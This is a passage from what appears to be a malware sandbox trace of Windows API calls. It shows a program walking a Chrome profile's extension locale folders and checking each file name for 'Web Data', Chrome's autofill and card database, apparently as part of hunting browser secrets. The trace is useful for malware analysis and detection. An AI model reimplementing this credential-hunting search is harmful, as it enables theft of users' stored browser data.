Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.375] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.375] lstrlenA (lpString="hu") returned 2 [0054.375] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.375] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.375] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0054.375] LocalFree (hMem=0x74cf00) returned 0x0 [0054.375] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned 131 [0054.375] lstrlenA (lpString="\\*.*") returned 4 [0054.375] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.375] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0054.375] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*" [0054.375] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.375] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.375] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.375] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.375] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.375] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.375] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.376] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.376] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.376] LocalFree (hMem=0x74cf00) returned 0x0 [0054.376] LocalFree (hMem=0x74d010) returned 0x0 [0054.376] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.376] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0054.376] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0054.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.376] lstrlenA (lpString="\\") returned 1 [0054.376] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.376] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.376] lstrlenA (lpString="id") returned 2 [0054.376] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.376] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0054.376] LocalFree (hMem=0x74cf00) returned 0x0 [0054.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned 131 [0054.376] lstrlenA (lpString="\\*.*") returned 4 [0054.376] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.376] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0054.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*" [0054.376] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.376] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.376] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.376] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.376] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.376] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.376] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.376] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.376] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.376] LocalFree (hMem=0x74cf00) returned 0x0 [0054.376] LocalFree (hMem=0x74d010) returned 0x0 [0054.377] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.377] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0054.377] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0054.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.377] lstrlenA (lpString="\\") returned 1 [0054.377] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.377] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.377] lstrlenA (lpString="it") returned 2 [0054.377] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.377] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0054.377] LocalFree (hMem=0x74cf00) returned 0x0 [0054.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned 131 [0054.377] lstrlenA (lpString="\\*.*") returned 4 [0054.377] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.377] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0054.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*" [0054.377] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.378] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.378] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.378] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.378] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.378] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.378] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.378] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.378] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.378] LocalFree (hMem=0x74cf00) returned 0x0 [0054.378] LocalFree (hMem=0x74d010) returned 0x0 [0054.378] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.378] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0054.378] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0054.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.378] lstrlenA (lpString="\\") returned 1 [0054.378] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.378] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.378] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.378] lstrlenA (lpString="ja") returned 2 [0054.378] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.378] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.378] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0054.378] LocalFree (hMem=0x74cf00) returned 0x0 [0054.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned 131 [0054.378] lstrlenA (lpString="\\*.*") returned 4 [0054.379] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.379] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0054.379] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*" [0054.379] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.379] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.379] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.379] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.379] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.379] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.379] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.379] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.379] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.379] LocalFree (hMem=0x74cf00) returned 0x0 [0054.379] LocalFree (hMem=0x74d010) returned 0x0 [0054.379] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.379] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0054.379] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0054.379] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.379] lstrlenA (lpString="\\") returned 1 [0054.379] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.379] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.379] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.379] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.379] lstrlenA (lpString="ko") returned 2 [0054.379] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.379] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.379] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0054.379] LocalFree (hMem=0x74cf00) returned 0x0 [0054.379] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned 131 [0054.379] lstrlenA (lpString="\\*.*") returned 4 [0054.379] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.379] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0054.379] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 